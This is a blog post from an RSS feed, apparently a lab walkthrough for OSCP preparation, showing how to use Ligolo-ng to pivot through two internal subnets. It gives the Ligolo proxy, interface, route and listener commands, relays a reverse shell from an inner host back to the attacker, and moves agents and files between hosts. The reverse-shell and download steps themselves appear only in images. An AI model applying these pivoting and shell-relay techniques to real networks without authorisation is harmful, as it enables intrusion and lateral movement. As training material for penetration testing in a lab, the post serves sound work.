src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f49a04ec2f86" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ligolo-ng for OSCP and beyond]]></title>
            <link>https://medium.com/@NullEsc/ligolo-ng-for-oscp-and-beyond-0a1620584372?source=rss-dbf96f72b63f------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a1620584372</guid>
            <category><![CDATA[network-pivoting]]></category>
            <category><![CDATA[ligolo-ng]]></category>
            <category><![CDATA[tunneling]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[NullEsc]]></dc:creator>
            <pubDate>Wed, 15 Oct 2025 15:38:31 GMT</pubDate>
            <atom:updated>2025-12-03T05:10:44.516Z</atom:updated>
            <content:encoded><![CDATA[<p>Ligolo‑ng is a tunneling tool built for speed and simplicity that makes pivoting into internal networks simple and efficient. Unlike traditional SOCKS‑based tools, it leverages a TUN interface to route traffic seamlessly, making lateral movement and service access feel almost native.</p><p>In this short demonstration I’ll use Ligolo‑ng for tunneling, pivoting, catching a reverse shell on the attacking machine originating from a host deep inside the internal network, and transferring files to and from a remote target. I will walk you through scenarios you are very likely to encounter while working through labs on platforms like HackTheBox, Proving Grounds, and others. These techniques are essential to understand if you are preparing for certifications such as the OSCP or similar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*hERdv1osf66pBoaGhq8mFQ.png" /></figure><p>In this lab we will go through the following scenarios:</p><p>1. Access the Apache service bound to 127.0.0.1 and establish the first pivot into the internal subnet<br>2. Trigger RCE on Webserver2 to get a reverse shell on Kali.<br>3. Deploy another agent on Webserver2 to establish the second pivot.<br>4. Transfer files to and from PC‑A.</p><p>Of course, needless to say all of this could also be achieved using SSH, Chisel and other tools but we are focusing on ligolo-ng, and everything we do today can be approached in multiple ways with Ligolo‑ng itself.</p><p>Our initial foothold is <em>Webserver1</em>, which sits on the edge of the internal network. Running an Nmap scan from Kali shows two open ports: FTP and MySQL.</p><pre>kali@kali:~$ sudo nmap -T 4 -p- -n 172.16.50.10<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 10:36 AEDT<br>Nmap scan report for 172.16.50.10<br>Host is up (0.00043s latency).<br>Not shown: 65533 closed tcp ports (reset)<br>PORT     STATE SERVICE<br>21/tcp   open  ftp<br>3306/tcp open  mysql<br>MAC Address: 00:0C:29:33:28:8B (VMware)<br><br>Nmap done: 1 IP address (1 host up) scanned in 2.59 seconds</pre><p>As we can see, only port 21 and 3306 are exposed. However, Apache is running locally on 127.0.0.1, which means it is not visible to us from the outside network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*nlHWe03B5mqCfnYax31JMg.png" /></figure><p>This is where Ligolo‑ng comes into play. We’ll use it to interact with the locally bound Apache service from Kali. Let’s move the agent to <em>Webserver1</em>, which we can do by starting a Python HTTP server on Kali and fetching it with curl from the other side.</p><pre>python3 -m http.server 80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*Zk3YBghm-no0uyTbo0N8Zg.png" /></figure><p>With the Ligolo agent in place, start the proxy on Kali. For this lab I’ll use port <strong>9999</strong> instead of the default, just to make it clear. We’ll run it with <strong>sudo</strong> so the proxy has the necessary permissions to create interfaces later on.</p><pre>sudo ligolo-proxy -laddr 0.0.0.0:9999 -selfcert</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YhVUW1QbGCk8iOt76rKPlg.png" /></figure><p>Now I’ll run the agent on <em>Webserver1</em> with the -connect and -ignore-cert arguments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*HQ9h9G-u4QWb3CwqAwIiew.png" /></figure><p>At this point the agent has successfully connected back, and we now have an active session in the proxy.</p><p>Next, inside the Ligolo proxy running on Kali, I’ll select the session so Ligolo knows which agent we’re working with, then create a TUN interface named ligolo1 since this is the first pivot point.</p><pre>interface_create --name ligolo1</pre><p>Once the interface is created, I’ll run tunnel_start to start the tunneling, which also brings the ligolo1 interface from down to up.</p><pre>tunnel_start --tun ligolo1</pre><p>With the tunnel established, we can now expose the localhost service through the agent and access it from the attacker machine by adding a special route to 240.0.0.1/32. This is cool because it works without any port forwarding and even in environments where SSH isn’t available.</p><pre>add_route --name ligolo1 --route 240.0.0.1/32</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*UJV4zDHwvIj_KlorbSZO4A.png" /></figure><p>All we have to do now is browse to <em>http://240.0.0.1:8080</em> from our Kali machine to reach the internal web server running on port 8080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*GFxX-XhXlQ181z5s6K6xkA.png" /></figure><p>Before adding any routes, let’s confirm Kali’s current access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*90kEVAQR_KIa4U-q2xhg3Q.png" /></figure><p>As you can see, we cannot reach the internal hosts yet. Now I’ll add a route in the proxy interface to make the first internal subnet accessible from Kali.</p><pre>add_route --name ligolo1 --route 10.0.1.0/24</pre><p>After adding the route, Kali can finally talk to the first internal subnet. We can test this by pinging the internal IP of Webserver1 and the second server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*KTK94F5dRgUnFVE7BFNE9A.png" /></figure><p>But here is the catch! Right now we can reach webserver2 but it has no path back to kali. That means if we trigger a reverse shell from Webserver2, it won’t reach our attacker machine.</p><p>To solve this, we set up a Ligolo listener on the first agent. This listener accepts connections on port 1111 and forwards them through the tunnel to our Kali machine on port 6666.</p><pre>listener_add --addr 0.0.0.0:1111 --to 172.16.50.50:6666</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*W_cZMzjE5hGT9OnxPXnbZw.png" /></figure><p>Notice that reverse shell isn’t pointing to Kali’s IP, it’s actually targeting Webserver1. That’s because we set up the Ligolo listener there. So when Webserver2 runs the shell, it connects to Webserver1 on port 1111, and Ligolo forwards that traffic through the tunnel to Kali’s port 6666.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yvt7wJYFQCvfheKzYfYNLA.png" /></figure><p>Ok we landed in as www-data user, as expected and we’ve got a foothold on Webserver2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*j2kZ2LTsAtdIO0GMvxFs1Q.png" /></figure><p>Our goal now is to drop another agent and pivot deeper into the network, since Webserver2 is connected to the second subnet. To do this, we’ll transfer and run another agent on Webserver2.</p><p>I’ll add a new listener to forward port 8000 from Webserver1 to Kali. This way when Webserver2 makes a request on port 8000, it will be passed through Webserver1 and reach Kali’s Python HTTP server to download the agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*7cgatZUUtPbCTKc0dEUpGg.png" /></figure><p>As usual we’ll download it with curl. Note we’re using Webserver1’s IP, not Kali’s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*UvbaJkI-3JDUxYMjPBbKbQ.png" /></figure><p>With the Ligolo agent in place, I’ll add a new listener on the first agent so Webserver2’s agent can connect back through the proxy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*tyzbV3w0X8sKZ3VB-8K1og.png" /></figure><p>Now we run the agent on Webserver2, pointing it to the listener on Webserver1’s internal IP (10.0.1.10:9999).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*epq7BwjFN7Y3MKV-GTrGIQ.png" /></figure><p>Once the second agent pops up in the ligolo proxy interface, we switch to its session, create a new TUN interface, and add a route for the 10.0.2.0/24 network that this host is connected to. Which means we can now reach the second subnet.</p><pre>interface_create --name ligolo2<br>tunnel_start --tun ligolo2<br>add_route --name ligolo2 --route 10.0.2.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5wpYL8tnucEz06ueS27kw.png" /></figure><p>To confirm the pivot is working, we can simply ping PC‑A from our attacker box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*6WpQJLv0FcE7qOcjpZeRzQ.png" /></figure><p>So now we can reach this new host and we can download files from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*cgaVQyni9MOmuu4cYPMk_g.png" /></figure><p>Let’s try it in the other direction. With session 2 (Webserver2) selected, we add a listener that points back to Kali, where a simple Python HTTP server is hosting the file. From PC‑A the file can then be fetched through Webserver2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*MhAnj3ZZK0dhbyzRUcRm8A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*YYtf-kVPJO3dQCm6rhXR3Q.png" /></figure><p>And with that, this lab comes to an end. We explored how we accessed an internal website that is not exposed to the outside network, then created our first pivot point and caught a reverse shell from a host inside the internal network that doesn’t have direct access to our attacking machine. We then moved on to creating a second pivot, exposed another host, and transferred files to and from it.</p><p>Thank you for reading.<br>Stay curious, stay kind, and keep learning. Until the next pivot..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a1620584372" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>